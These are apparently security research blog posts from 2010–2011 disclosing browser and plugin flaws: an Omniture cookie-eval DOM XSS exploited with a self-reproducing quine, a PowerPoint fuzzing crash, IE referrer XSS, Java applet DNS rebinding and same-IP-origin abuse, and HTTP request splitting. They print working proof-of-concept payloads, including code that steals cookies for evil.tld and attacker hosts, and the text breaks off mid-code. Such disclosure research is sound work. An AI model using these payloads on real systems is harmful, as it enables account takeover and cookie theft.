Friday, April 29, 2011

God Save The (Omniture) Quine

Some weeks ago, while testing a website hosted by a client of ours with DOMinator, I found that an Omniture Catalyst plugin called crossVisitParticipation used an eval on a cookie value.
It was a typical 'eval(cookieValue)' which is bad from a security perspective, but there is
something more interesting which made me think to write a post about it, since the attack vector was kind of advanced and the model here is different from "traditional" mashups.
In fact in the Omniture case, companies have to save an auto generated JS and host it on their own websites.
This means updates are directly tied to a local site administration policy, and no real time update is possible.

Long story short, I found out it's possible for some versions of crossVisitParticipation plugin
to overwrite the cookie in a way it's possible to let the eval do whatever an attacker
wants abusing the query string.
Let's have a look at the vulnerable code:

// function crossVisitParticipation
1: function anonymous(v, cn, ex, ct, dl, ev) {
2: var s = this;
3: var ay = s.split(ev, ",");
4: for (var u = 0; u < ay.length; u++) {
5: if (s.events && s.events.indexOf(ay[u]) != -1) {
6: s.c_w(cn, "");
7: return "";
8: }
9: }
10: if (!v || v == "") {
11: return "";
12: }
13: var arry = new Array;
14: var a = new Array;
15: var c = s.c_r(cn);
16: var g = 0;
17: var h = new Array;
18: if (c && c != "") {
19: arry = eval(c); // Sink Here from Cookie Value!!
20: }
21: var e = new Date;
22: e.setFullYear(e.getFullYear() + 5);
23: if (arry.length > 0 && arry[arry.length - 1][0] == v) {
24: arry[arry.length - 1] = [v, (new Date).getTime()];
25: } else {
26: arry[arry.length] = [v, (new Date).getTime()];
27: }
28: var data = s.join(arry, {delim: ",", front: "[", back: "]", wrap: "'"});
29: var start = arry.length - ct < 0 ? 0 : arry.length - ct;
30: s.c_w(cn, data, e); // after eval'ed it's rewritten in form of cookie.
31: for (var x = start; x < arry.length; x++) {
32: var diff = Math.round(new Date - new Date(parseInt(arry[x][1]))) / 86400000; 33: if (diff < ex) {
34: h[g] = arry[x][0];
35: a[g++] = arry[x];
36: }
37: }
38: var r = s.join(h, {delim: dl});
39: return r;
40: }

which is called from another method:

if(!b.campaign){
b.campaign=b.getQueryParam("cid");
b.campaign=b.getValOnce(b.campaign,"ecamp",0)
}
b.eVar14=b.crossVisitParticipation(b.campaign,"s_cpm","90","5",">","purchase");

Even if, by digging into all versions, I found that only crossVisitParticipation plugin version <1.4 seems to be directly exploitable from the query string, I also found that some big sites in top 100k Alexa are still vulnerable.
That said, from my (app sec researcher) point of view I can see something interesting, which is the attack vector.
Easily, an attacker could use a simple one time injection like the following:

//The correct parameter depends on the Omniture user, so let's suppose as seen in the code "cid" parameter is the one:
http://omnitureClientHost/?#cid=aa'+alert(1)+'

but since the cookie is rewritten (Line 30) using the eval'ed object the attacker would loose the payload. So we can actually create something that after it's eval'ed it'll be he same, also called a (Javascript) Quine.
My favourite source is sla.ckers.org, and a wonderful quine thread is here. So I just needed to understand the principles of Js Quines and I finally made a working one for this specific case.
In the Omniture case an attacker needs to add the quine in the cookie and then force the eval using a new value for the cid:

<script>
function go(){

var if2=document.getElementById("x2");
if2.onload=go2
if2.src="http://xxx/?&#&cid=143'+(_=/[,\"'+(_=\"+_+_(_,alert(document.domain)))+']+/,\"'+(_=\"+_+_(_,alert(document.domain)))+'sss&aa=ddddeee"
}
function go2(){
var if2=document.getElementById("x");
if2.src="http://xxx/?&cid=143"+Math.random()
}
</script>
<body onload='go()'>
<iframe id='x' src="about:blank"></iframe>
<iframe id='x2' src="about:blank" ></iframe>


The attack vector will be firstly executed and then rewritten each time as it is as each quine should do.
So every time the victim will visit the vulnerable site with a new cid the Xss will be triggered.

As a side note we can see in the Omniture code, line 24, that the value of b.campaign is directly added to the cookie;
versions >=1.4 use v=escape(v) which blocks any direct attack from the query string.

BTW, this issue was found using my next to release tool DOMinator - DOMXss finder.
Stay tuned for news about it.


PS. I know is not really clear for faint of heart JS DOM Xss noobs, but sites out there are still vulnerable, sooo..keep researching and you'll discover the magic of this brand new DOMXss world.

PPS. Tom Keetch (@tkeetch) publicly released an advisory
concerning an Omniture attack using Cookie Forcing
by Chris Evans (@scarybeasts).
This attack can be achieved in Man in the Middle or shared browser Kiosk situations.
My research is mostly focused to remotely exploitable stuff, but in this case the quine can be, obviously, applied to this as well, so kudos to Tom and Chris for finding this, doable even if less reliable, attack scenario.

PPPS. Adobe Omniture released a new version (1.7) of the plugin which should mitigate any attack against it, so you're invited to upgrade it. And, please, start thinking about 3rd party JS as worth of risk identification.

Wednesday, April 13, 2011

More about Microsoft Office "Patch" Tuesday (MS11-022)

While fuzzing I found some Microsoft Office 0days... a couple of these where likely patched yesterday . Note: I didnt' reported the issues myself because I was still in doing my research.

Incredible how mutational fuzzing may disclosure new vulnerabilities and issues: to reproduce the one apparently related to Powerpoint "TimeColorBehaviorContainer" find the following structure in a Microsoft Powerpoint file with animations enabled:

0F 00 3D F1 00 00 00 00 00

and modify the structure like the following one:


0F 00 2E F1 00 00 00 00 00

This exception may be expected and handled.
eax=0594b13f ebx=00000000 ecx=045c1ea0 edx=00010001 esi=df9e0005 edi=00000000
eip=3012b8cd esp=00134c38 ebp=00134c5c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210206
ppcore!PPMain+0x25f55:
3012b8cd 8b06            mov     eax,dword ptr [esi]
....

call eax (dword ptr [esi] is tainted.)



For a crash example I have attached a sample.

http://www.mindedsecurity.com/fileshare/timecontainer_crash.ppt

Monday, March 28, 2011

Abusing Referrer on Explorer for Referrer based DOM Xss

I don't really know if this is actually known, but I thought it was worth writing.

In a few words
:
While other browsers do not allow particular charaters in sub domains, IE does. Hence it's possible to abuse that behavior to exploit referrer based DOM Xss.

Some more words about it:
I was doing some testing using DOMInator (a yet-to-release tool for finding DOM Based Xss) and I saw a JavaScript snippet doing the following:

with(document)
write('<sc'+"ript src="http://Host/image.gif?t="+c+"r="+(referrer.split("/")[2])+"></sc"+'ript>'); //updated to match host only referrer

Immediately some question came to me: « Is it actually exploitable? Do any browser allow HTML special characters in subdomain, like '">heyThere.mindedsecurity.com? »
After testing some browser I saw that Internet Explorer does allow them.

So we set up a DNS which always returns the same IP no matter what subdomain is requested.

That means that it's possible for an attacker to request
"onreadystatechange=eval(name).attacker.com and use it to abuse IE host behavior and exploit
pages vulnerable to DOM Based Cross Site Scripting via referrer.

Nota Bene: At the moment the wildcard DNS is private. But we'll release
a basic service to test referrer based DOMXss. So, stay tuned for updates.

Thursday, October 21, 2010

Java DSN Rebinding + Java Same IP Policy = The Internet Mayhem

This is a short blog post about what could have happened if a malicious user had exploited the issues I found.

If someone has read the post about Java DNS Rebinding and Java applet same IP Host Access probably has come to the same conclusion of what I am going to describe in the next few lines which can be summarized like this:
Java applet implementation could really break the web.

Consider the following points:
  • Java DNS Rebinding: an attacker can point a controlled host to any IP of the web.
  • Java applet same IP Host access: an attacker can read the response of any host which points to the same IP the applet originates.

Suppose now that evil.tld server hosts a page which forces a DNS Rebinding to google.com IP. Then if a user visits that page, Java VM applet sandbox will think that google.com and evil.tld share the same IP.
According to Java Same IP Origin Policy it will be possible from then to read google.com pages.

Extend the attack to any possible host. And you'll see the extent of the issue.

Now, someone could say DNS Rebinding is difficult to implement.Yes, Could be.
Then, think about Xss and the possibility to use java.* and Packages.* objects from javascript on any browser.
Considering that Xss are still one of the most widespread vulnerabilities on the web (50% of world sites?), you'll got another picture.

Finally, a malicious page could use classical History steal or other logged in detection techniques to understand if the victim is logged to some site and you got the bigger attack flow.

This attack could have created a big internet (client side) mayhem.

This is fortunately no more feasible because I made responsible disclosure to Oracle and waited for 6 long months before disclosing all the 7 issues.

Now that Java update is out everybody is suggested to install it.
Oh, and if you don't really need Java I suggest you to uninstall it definitely...and that is the saddest thing.

Wednesday, October 20, 2010

Java Applet Same IP Host Access

Summary
Due to a design issue on the way Java considers Same Origin Policy, it is possible for an attacker controlling a host with the same IP of the victim host, to forge requests to victim host on behalf of a user and read the content of the response.

Analysis
It is known for ever that Java SOP is correlated with the IP of the applet hosting server.

"...
Two hosts are considered equivalent if both host names can be resolved into the same IP addresses; else if either host name can't be resolved, the host names must be equal without regard to case; or both host names equal to null.
..."
That means that differently from other SOP, Java does not take in consideration HostNames but only IPs.
This is what is called a design issue, probably originating from the '90s when the Internet was a more similar to a LAN :).
By taking advantage of this design issue, if an attacker can control at least one host on a virtual server pool (uploading an applet), it will be possible for the attacker to use an applet against a legit user and read every information from the other domains on the same IP.

Specifically, it is possible to forge requests and read HTML response from any other server with the same IP of the host without any further security check.
So let's consider that is possible for an attacker to upload a jar on a virtual host (I.e. an uploading host uploads.vhost.tld or a fully controlled host) which will results in an applet downloadable from the server.
The applet code is the following:


import java.net.*;
import java.util.*;
import javax.swing.*;
import java.applet.*;
import java.util.regex.*;


public class GetFromIP extends Applet{

public void init( ) {
String line;
String content="";
String patternStr = getParameter("regexp") ;
try{
URL f=new URL(getParameter("url"));
HttpURLConnection g=(HttpURLConnection)f.openConnection();
g.setRequestMethod("GET");
g.connect();
java.io.DataInputStream dis = new
java.io.DataInputStream(g.getInputStream());
while((line=dis.readLine())!=null){
content+=line+"\n";
}
g.disconnect();
JTextArea area = new JTextArea(10,20);
add(area);
Pattern pattern = Pattern.compile(patternStr);
Matcher matcher = pattern.matcher(content);
String match="not found";
if( matcher.find())
match = matcher.group();
area.setText(match);
}catch(Exception exc){exc.printStackTrace();}
}
}


What happens is that when Java makes a HttpURLConnection it asks for Cookies to the browser which provides them back to Java except for HttpOnly cookies (this is a publicly known behavior).
After that, even if it seems that is not possible to directly read the cookies from Java, it's still possible to read the html content since there is IP sharing.

Yeah, using TRACE is still possible on non HttpOnly cookies but that method could be disabled on the server side.

This will result in some sort of CSRF (you cannot read cookies) but with read access to the response, allowing the attacker to read for example AntiCSRF tokens and other sensitive data.
The following screenshot is the result of an attack from a malicious user (evil me) to google.com getting information of a logged in user (angel me).


Another interesting attack: Host header.
It is known that is possible to set the Host header on applets using HttpURLConnection:

connection.setRequestProperty("Host", urlUpload.getHost());

The latter, in conjunction to the same IP SOP will create a way to steal cookies as well.
Suppose www.attacker.com is on same IP of www.legit.com and a user is logged in on legit.com site.
A malicious user could then try to let the user to go to a page with the following content.

From www.attacker.com:

f=new java.net.URL("http://www.legit.com"); // allowed since they share IP
g=f.openConnection();
g.addRequestProperty("Host","www.attacker.com"); //allowed since a feature
g.connect();
dis = new java.io.DataInputStream(g.getInputStream());
while((i=dis.readLine())!=null){
log(i);
}


What happens here is that Java asks the browser for www.legit.com cookies and then sends the request to the server which sees the Host header and sends it to the attacker's site stealing the (non HttpOnly cookies).

Moreover it will be possible to add or overwrite cookies from an attacker page by simply setting a cookie in the response header.
That cookie will be passed to the browser which thinks it's a cookie belonging to legit.com.

A big issue
The even more big issue here is that any js controlled site (read Xssable) that resolves to a shared IP hosting is vulnerable to this, since Packages.java* can be used from javascript using JavaScriptProtectionDomain. Now from any browsers as described here.

A side Note
It seems that Roberto Suggi Liverani found the first part of the design vulnerability as well on August and responsibly disclosed to Oracle. It also seems that Oracle were so obscure to not telling him that the issue was already found and reported by me. So you'll find another similiar advisory on the net.

Disclosure Timeline
30th March 2010: Issue found. I think that since it's a design issue probably Oracle will have some objection in fixing it. So I decide to send an attack example to Google.
31st March 2010: Information about the attack sent to Google
1st April 2010: Google says it has to be corrected by Oracle. They can help pushing for a fix.
20th April 2010: Advisory Sent to Oracle
6th May 2010: Oracle Confirms the issue.
6 Apr - 12 Oct 2010: Some Oracle updates and finally the Java release.

Tuesday, October 12, 2010

DNS Rebinding on Java Applets

Summary
In 2007 it was discovered that Java Applets, in conjunction with LiveConnect plugin on Firefox, were vulnerable to DNS Rebinding and take advantage of Java features like TCP and UDP socket connections on unauthorized sites.
But the only browser which resulted vulnerable was Firefox.

During an assessment of Java VM source code (v. 6 update 21) it was found that the attack was still feasible, probably due to a regression issue and, more important, I found a way to extend the attack to every browser.
A fix should have been implemented in the new Java 6 update 22.

Analysis

An interesting new feature which was added in Java 6 is that after the instantiation of JVM from an applet tag the Packages objects are now accessible from any browser.


package sun.plugin2.main.server;
...
public class IExplorerPlugin extends AbstractPlugin{
...
public boolean SetClientSite(long paramLong1, long paramLong2)
...

try {
defineNameSpaceVariable(localBrowserSideObject, "Packages", "");
defineNameSpaceVariable(localBrowserSideObject, "java", "java");
defineNameSpaceVariable(localBrowserSideObject, "netscape", "netscape");
if (DEBUG)
System.out.println("IExplorerPlugin.SetClientSite: successfully defined namespace variables");
}
....
}


So a similar trick used by Anvil can be used with some variant.

Java implements at least two security domains. The first one is the classical sandbox restricted to the domain were the applet originates.
The second one is called "JavaScriptProtectionDomain" which is instantiated when the Java call is done from Javascript and it is tied to the host where the html/javascript is hosted.
When Java is called from JavaScript a JVM is initialized and set the protection domain to JavaScriptProtectionDomain.

The technique used by Anvil is to call Java from JavaScript and force a DNS request to the evil host which will resolve to an arbitrary IP. The constraint is that the only browsers affected were the ones implementing liveconnect plugin.

The new attack tries to force the generation of Js to Java objects cross browsers.

How it works
Under Firefox the attack is identical to the one by Kanatoko Anvil.
Regarding other browsers here is the html code:


<!-- From evil.tld -->
<body onload="go1()">
<applet code='anApplet' ></applet>

<div id="info"></div>
<script>
function go1(){
document.body.innerHTML+="aaa";
setTimeout(go,1000); // wait for first JVM to initialize
}
function go(){
document.body.innerHTML+="<applet code='doNothing' archive='http://anotherEvilhost.tld'></applet>"
setTimeout( doSocketStuff,3000);
}
function doSocketStuff(){

try{
d=new Packages.java.net.InetSocketAddress( "evil.tld",aPortToConnect );
....// Same Anvil's code
}catch(e){d.close();alert(e.message)}
}
</script>


there are three steps to take in order to get it work:
  1. load an applet from evil.tld
  2. wait for the JVM to init (If we try to get a socket now from evil.tld, the JVM won't ask for IP to the DNS because of DNS cache)
  3. load another applet from anotherEvilHost.tld
  4. now we can use JavaScriptDomain by instantiating InetSocketAddress object. Here JVM will ask DNS for evil.tld IP. DNS will resolve to whatever we want (eg. 127.0.0.1).
  5. Connect to 127.0.0.1 and do port scan with read/write access.
So the trick is to set up two Applets the first one pointing to evil.tld which is the same hosting the html page then the second applet points to another attacker controlled host which will be used to rewrite the Js to Java Objects and, hence, bypass the DNS cache.
After that it'll be possible to perform classical DNS rebinding attacks.

An Interesting Attack
One of the first thing that made me research Applet security was the presence of java.net.ServerSocket package in applets.
This package allows to open a socket server listening to incoming connections.


// a Js to Java implementation of a server
d=new Packages.java.net.ServerSocket();
d.bind(new Packages.java.net.InetSocketAddress( "127.0.0.1",8000 ));
clientSocket=d.accept(); // here comes the magic
...
d.close();


The previous code is accepted by applets and is legit as of the time of writing.
The restriction comes out when accept method is called. Infact due to Same IP origin Policy a crossdomain.xml will be required to 127.0.0.1, and if not found an exception will be triggered.

Here the DNS Rebinding comes in handy. By applying the technique previously described it will be possible to set up a SocketServer listening to 127.0.0.1 accepting connection without triggering an exception.

Now someone could ask: "Ok but what can I do with a server listening on localhost?".
I asked myself, too. And I figured out some interesting sceneries:

  1. Crash some local server and then sniff connection on the same port (difficult but feasible).
  2. Find some host that resolve to 127.0.0.1 and get/set domain cookies.
Let's talk about the latter.
I downloaded the list of top 500 Alexa sites and found 20% (thumb rule) of them have some site that resolve to 127.0.0.1.
An nice example is localhost.delicious.com:

$ host localhost.delicious.com
localhost.delicious.com has address 127.0.0.1


Let's now perform the attack by using the following code:


<body onload="go1()">
<applet code='doNothing' ></applet><iframe name='delicious'></iframe>
<div id="info"></div>
<script>
function go1(){
document.body.innerHTML+="sometext";
setTimeout(go,1000);
}
function go(){

document.body.innerHTML+="<applet code='doNothing' archive='http://anotherEvilHost.tld/donothing.jar'></applet>"
setTimeout(server,3000);
setTimeout(function(){window.frames[0].location='http://localhost.delicious.com:8040'},5000); // this force the browser to connect to 127.0.0.1 but it'll send the domain cookies to attacker socket server listening on port 8040

}
function server(){

try{
d=new Packages.java.net.ServerSocket();
d.bind(new Packages.java.net.InetSocketAddress( "evil.tld",8040 ));// will now resolve to 127.0.0.1 (port 8040)
clientSocket=d.accept();
ins= clientSocket.getInputStream();
r=ins.available();
buf='';
os=new Packages.java.io.PrintWriter(clientSocket.getOutputStream());
for (var i=0;i< r;i++)
buf += String.fromCharCode( ins.read() );

os.print("HTTP/1.1 200 OK\nContent-length: 0\n\n\n");
os.flush();
os.close();
d.close();
}catch(e){d.close();alert(e.message)}

document.getElementById('info').innerHTML+="<pre>"+(buf)+"</pre>";

}
</script>



Here's a screenshot of what happens to the victim:

N.B.: Don't try the poc from wisec.it since it has not a DNS server controlled by me. So it won't work.
After the attack is accomplished, the attacker will steal victim's cookies and will impersonate her as shown in the following screenshot:



Another interesting attack
Due to the Same IP Origin policy of Java Applets it is potentially possible to attack every single host on the Web.
I'll write about it in the next few days.

Http Request Splitting and Header Abuse with Java AddRequestProperty

Summary
It is possible abuse the method AddRequestProperty to:
  • inject new requests by abusing the request header Transfer-Encoding. The result is a well known attack called Http Request Splitting [1][2][3].
  • gather information about the existence of a Http Proxy.

Analysis
Applets sandbox allow requests to be performed to the host where they originate by using the class java.net.URL. This is allowed according to Java SOP.
Example:

f=new Packages.java.net.URL("http://appletoriginatinghost/")
g=f.openConnection();
g.setDoOutput(true);
g.setRequestMethod("GET") ;
dis2.flush();
dis2.close();
g.connect();
dis = new Packages.java.io.DataInputStream(g.getInputStream());

while((rl=dis.readLine())!=null){
log(rl) ;
}


We found that is possible to force a split of a Http request by using
Request.addRequestProperty("Transfer-Encoding", "chunked");

This could be used by a malicious user to bypass access in case a
forward proxy is set.

In fact by setting the request header to Transfer-Encoding: chunked
the payload will be parsed according to rfc2616 :

f=new Packages.java.net.URL("http://appletoriginatinghost/")
g=f.openConnection();
g.setDoOutput(true);
g.setRequestMethod("GET") ;
g.addRequestProperty("Transfer-Encoding", "chunked");
dis2 = new Packages.java.io.DataOutputStream(g.getOutputStream());
dis2.writeBytes("0\n\nGET http://someinternalHost HTTP/1.1\nHost: 10.1.1.1
\n\n");
dis2.flush();
dis2.close();
g.connect();
dis = new Packages.java.io.DataInputStream(g.getInputStream());

while((rl=dis.readLine())!=null){
log(rl) ;
}



Also it can be abused to get forward proxy information such as proxy password.

f=new Packages.java.net.URL("http://attacker/")
g=f.openConnection();
g.setRequestMethod("TRACE") ;
g.addRequestProperty("Max-Forwards", "0");

g.connect();
dis = new Packages.java.io.DataInputStream(g.getInputStream());

i=0
while(i<350){>